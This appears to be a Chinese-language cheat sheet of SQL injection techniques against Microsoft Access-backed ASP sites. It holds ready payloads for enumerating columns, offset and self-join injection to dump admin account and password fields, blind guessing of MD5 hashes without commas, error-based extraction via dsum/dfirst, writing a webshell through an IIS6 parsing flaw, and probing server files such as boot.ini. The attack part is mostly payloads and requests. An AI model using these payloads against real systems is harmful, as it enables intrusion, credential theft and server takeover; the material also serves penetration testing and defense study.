参考,http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
常用语法
MID(str,start,length) 可以用来提取母字符串中一部分特定的子字符串。
ASC() 可以返回参数中字符对应的ASCII值
IIF(condition,true,false)
注释符
%16和%00都会起到截断后续语句的效果。
limit替代
Access数据库不支持LIMIT操作符。
但是,它可以使用TOP操作符来限制SELECT查询只显示结果集里面的第几行。当TOP操作符接收到一个整数形式的参数时,如TOP 3,那么意为着返回结果集里面的前三行。
LAST操作符可以返回结果集中最后面的记录,TOP与LAST组合使用的话可以查询任意指定的结果集。
绕过逗号被过滤
参考,https://forum.90sec.org/thread-8617-1-1.html
其实不用逗号也可以实现注入。首先大家要明白Access是如何比较两个字符串的,比如比较 “abb123”和 “ABc123”这两个字符串的大小,从两个字符串的第一个字符开始比较,由于Access比较字符串是不区分大小写的,两个字符串的第一个字符相等接着比较下一个,直到比较第三个字符时因为c的asc码比b大,这时就停止比较,认为第二个字符串比第一个大。如果是比较 “abc1234”和 “abc123”,当第二个字符串比较到最后一个字符时第一个字符串还有要比较的字符,就认为第一个字符串比第二个大。
知道了原理我们就可以用这种方法来猜解密码, 32位md5字符集中单个字符从小到大的排列顺序为 “0123456789ABCDEF”,比如我们要猜的md5密码>=’3’成立,但<’4’错误,就可以知道密码的第一位是3,如果密码>=’3A’成立,<’3B’错误,则密码的第二位就是A,如果密码>=’3A5’成立,<’3A6’错误,则密码的第三位就是5,以此类推,很容易猜出密码。
未知列名的注入方式
当前页面有35个字段
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin
返回错误页面
不断枚举测试
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
没有报错,说明admin有22-16=6个列
偏移注入
借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
成功与否看技巧与运气,不能保证100%成功,无需管理员账号密码字段,直接爆账号密码,很大程度上解决猜不到字段的问题。
偏移注入的利用条件:
- 已知管理表名
- 已知任意字段(一个或多个会增加机率,最常见的就是id)
成功率的因素
- 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
- 当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
- 已知的字段数越多越好(id一般存在)
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
字段数=order by 出的字段数 - 星号的字段数x2
因为这里一共是22个字段,而星号代表的admin表字段占6个,6x2=12 22-12=10
如果爆出来的字段不够多,那么
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
其实就在上面的语句基础上插了个a.id,b.id
或者再多自连接一次
union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
移位溢注
源自,https://gh0st.cn/archives/2017-03-08/1
利用条件同上,确定了admin表的列数量之后(这里为6),可以开始前移,直到看到页面回显admin表的所有字段。但是如果碰到非连续数字的,那么只会显示admin表中的部分列。
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,admin.* from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,admin.*,35 from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin
该方法也适用于Mysql
dsum()和dfirst()的报错注入
来源已不可考
select * from admin where id=1 and dsum((select top 1 password from admin),'admin')
select * from admin where id=1 and dfirst((select top 1 password from admin),'admin')
/list.asp?id=123 and dsum(chr(39)%2bcstr((select+top+1+userpass+from+users)),'admin')
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'Sum('ES-DC08598F8C5CE7F85577EDE7530773)' 中。
写webshell
需要结合IIS6的解析漏洞,把表cmd的内容导出为物理路径的一个EXCEL文件
create table cmd (a varchar(50))
insert into cmd (a) values ('一句话木马')
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
文件枚举
如果指定的文件是存在的,那么Access数据库便会抛出 the database format is invalid 这样的报错信息。
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
另外一种枚举文件的方式是指定通过指定一个 database.table 条目。如果指定的文件存在,那么Access数据库便会抛出 database format error的错误信息。
http://locahost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.init.TableName%00